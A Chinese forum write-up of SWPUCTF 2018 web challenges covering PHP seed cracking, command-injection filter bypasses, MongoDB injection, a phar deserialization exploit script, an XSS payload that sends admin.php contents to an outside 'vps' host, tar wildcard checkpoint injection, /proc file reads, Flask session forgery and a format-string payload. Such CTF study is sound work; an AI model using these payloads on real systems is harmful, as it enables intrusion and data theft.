2018swpuctf---web合集

2018-12-23 15:50:52 20 13537 3

TCV:0

前言

由于进入期末预习阶段,没时间打,只能赛后看看题,复现一下,感觉这个比赛web题的质量还是挺高的,明年一定不能错过。

用优惠码 买个 X ?

<!--more-->

这道题注册登陆之后会送一个优惠码,后台扫描得到www.zip,阅读源码

<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
        mt_srand($_SESSION['seed']);
    $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $auth='';
    $len=15;
    for ( $i = 0; $i < $len; $i++ ){
        if($i<=($len/2))
              $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
        else
              $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
    }
    setcookie('Auth', $auth);
}
//support
        if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
        if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
               //执行命令
        }else {
              //flag字段和某些字符被过滤!
        }
        }else{
             // 你的输入不正确!
        }
?>

拿着它给的优惠码,返回竟然说要24位,源码里面只生成了15位,可以看到,生成验证码是随机的,而生成随机数的种子范围可知。 参考: [url=http://wonderkun.cc/index.html/?p=585]http://wonderkun.cc/index.html/?p=585[/url] [url=https://www.openwall.com/php_mt_seed/]https://www.openwall.com/php_mt_seed/[/url]

于是按照wonderkun师傅文章里面去伪造优惠码。接下来就是命令执行了

if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip))

参考:[url=http://appleu0.sinaapp.com/?p=146]http://appleu0.sinaapp.com/?p=146[/url] 用%0a绕过

!preg_match("/\?|flag|}|cat|echo|\*/i",$ip))

这里过滤了通配符,跟flag等关键词,于是用编码的形式绕过。

一叶飘零师傅的payload(:tql

c\at /fl\ag

injection??

直接参考:[url=https://wooyun.js.org/drops/Mongodb%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB.html]https://wooyun.js.org/drops/Mongodb%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB.html[/url] 只是验证码有点恶心 注入出来的密码是:skmun 登陆即可得到flag

simplephp

查看文件里有一个任意文件读取

下面给出重要的源码

#file.php

 <?php
header("content-type:text/html;charset=utf-8"); 
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
    echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
    $show->source = $file;
    $show->_show();
} else if (!empty($file)){
    die('file doesn\'t exists.');
}
?>
#function.php

<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
    global $_FILES;
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
    //mkdir("upload",0777);
    if(file_exists("upload/" . $filename)) {
        unlink($filename);
    }
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
    echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
    global $_FILES;
    if(upload_file_check()) {
        upload_file_do();
    }
}
function upload_file_check() {
    global $_FILES;
    $allowed_types = array("gif","jpeg","jpg","png");
    $temp = explode(".",$_FILES["file"]["name"]);
    $extension = end($temp);
    if(empty($extension)) {
        //echo "<h4>请选择上传的文件:" . "<h4/>";
    }
    else{
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo '<script type="text/javascript">alert("Invalid file!");</script>';
            return false;
        }
    }
}
?> 
#class.php

 <?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

文件上传目录是在web根目录,而且限制了文件后缀名,无解。

$show = new Show();
if(file_exists($file)) {
  $show->source = $file;
  $show->_show();

这里new了一个类,然后会判断这个file文件是否存在 这不就是熟悉的最近大火的phar吗?于是赶紧pop链

public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
public function __get($key)
    {
        return $this->get($key);
    }
public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
整个pop链找出来了
1.利用C1e4r类的__destruct()中的echo this->test
2.触发Show类的__toString()
3.利用Show类的$content = $this->str['str']->source
4.触发Test类的__get()
5.成功利用file_get()读文件

exp如下

<?php
class C1e4r{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}

class Test
{
    public $file;
    public $params;

}

$a = new Test();
$a->params = [
    'source' => '/var/www/html/f1ag.php'
];

$b = new Show();
$b->str['str'] = $a;

$c = new C1e4r();
$c->str = $b;

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

copy('phar.phar','exp.gif');

?>

有趣的邮箱注册

filter_var可以绕过,XSS打后台cookie失败,于是选择读源码

xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        document.location='http://vps:23333/?'+btoa(xmlhttp.responseText);
    }
}
xmlhttp.open("GET","admin.php",true);
xmlhttp.send();

发现一个任意命令执行的页面,之所以不能直接读flag,是因为flag页面权限是flag用户,所以不能直接读,然后列目录发现有一个md5目录,进去之后发现有一个上传页面。备份中backup.php

<?php
include("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
    echo "上传目录下的所有文件备份成功!<br />";
    echo "备份文件名: z.tar.gz";
}else{
    echo "未上传文件,无法备份!";
}
?>

参考:[url=https://www.freebuf.com/articles/system/176255.html]https://www.freebuf.com/articles/system/176255.html[/url]

exp

decade.sh
--checkpoint-action=exec=sh decade.sh
--checkpoint=1

decade.sh的内容为:
cat /flag | base64

皇家线上赌场

题目给的信息如上,限制了..,所以需要利用绝对路径去读源码

哪里得到源码? 参考HCTF的一道题,/proc/self/environ

发现500了 换思路

/proc/self/mounts
/proc/self/maps

赛后收集一波
/etc/profile
/proc/pid/cmdline 进程启动命令
/proc/pid/cwd 链接到进程当前**工作**目录
/proc/pid/environ 进程环境变量列表
/proc/pid/exe 链接到进程的执行命令文件
/proc/pid/fd 包含进程相关的所有的文件描述符
/proc/pid/maps 与进程相关的内存映射信息
/proc/pid/mem 指代进程持有的内存,不可读
/proc/pid/root 链接到进程的根目录
/proc/pid/stat 进程的状态
/proc/pid/statm 进程使用的内存的状态
/proc/pid/status 进程状态信息,比stat/statm更具可读性
/proc/self 链接到当前正在运行的进程

参考:[url=https://www.cnblogs.com/youxin/p/4980058.html]https://www.cnblogs.com/youxin/p/4980058.html[/url]

然后还是读不到源码,但是利用文章中的说的可以,读源码如下

/proc/self/cwd/app/views.py
/proc/self/cwd/app/__init__.py
def register_views(app):
    @app.before_request
    def reset_account():
        if request.path == '/signup' or request.path == '/login':
            return
        uname = username=session.get('username')
        u = User.query.filter_by(username=uname).first()
        if u:
            g.u = u
            g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
            if uname == 'admin':
                return
            now = int(time())
            if (now - u.ts >= 600):
                u.balance = 10000
                u.count = 0
                u.ts = now
                u.save()
                session['balance'] = 10000
                session['count'] = 0

    @app.route('/getflag', methods=('POST',))
    @login_required
    def getflag():
        u = getattr(g, 'u')
        if not u or u.balance < 1000000:
            return '{"s": -1, "msg": "error"}'
        field = request.form.get('field', 'username')
        mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
        jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
        return jdata.format(field, g.u, mhash)
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db


def create_app():
    app = Flask(__name__, static_folder='')
    app.secret_key = '9f516783b42730b7888008dd5c15fe66'
    app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
    register_views(app)
    db.init_app(app)
    return app

有了sercet.key,伪造admin用户绕过balance的重置

正常
python2 .\session解码.py .eJwVjDEOhDAMBP-yNYWPAGfnM8jETnNHkAhUiL8TRlNMNRcW_WtJjvihRoe0neVAfKvueT62nxdEZLcwstpoakEsE4dpIBuSSGBhcu4nIfmiw1l9L7q2JbRaE_cDRYgevw.XBycqQ.xptz8yGQs4gcFtXOVlx-HIpNOjQ

{u'count': 0, u'username': u'asdasd', u'csrf_token': u'u'fed358ad5dad39df083640d4c9938980e8269097', u'balance': 10000.0}

伪造
python3 .\session真伪造.py encode -s '9f516783b42730b7888008dd5c15fe66' -t "{u'count':100000000, u'username': u'admin', u'csrf_token': u'fed358ad5dad39df083640d4c9938980e8269097', u'balance':1000000.0}"

.eJw9zDsOg0AMRdG9vBpFDgPEZjORM_ZICDASnyrK3hMocstT3DdeOmlkR3-nqxtVyMsR-1_olG0tz30ZPdCjuKWW1VpTS2KFOHUNWZNFEguTc90JyQMVjs3X0Pm3h9o8BD5fN6wglw.XBydjw.Ni0v9hK2Yz4UAbtxtS6qW0jMC1I

一看就是python格式化字符串的漏洞,我们要找到g对象,然后读g.flag。 参考:[url=https://xz.aliyun.com/t/3569#toc-1]https://xz.aliyun.com/t/3569#toc-1[/url] 结合tips

下面是找链过程

结合源码

from .models import db

结合源码

def register_views(app):
    @app.before_request
    def reset_account():

附上smile大师傅的payload

field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].__dict__[view_functions][index].__globals__[g].flag

Final

期末预习压力山大,做做题放松放松,继续滚去预习.jpg

关于作者

Decade5篇文章32篇回复

评论20次

要评论?请先  登录  或  注册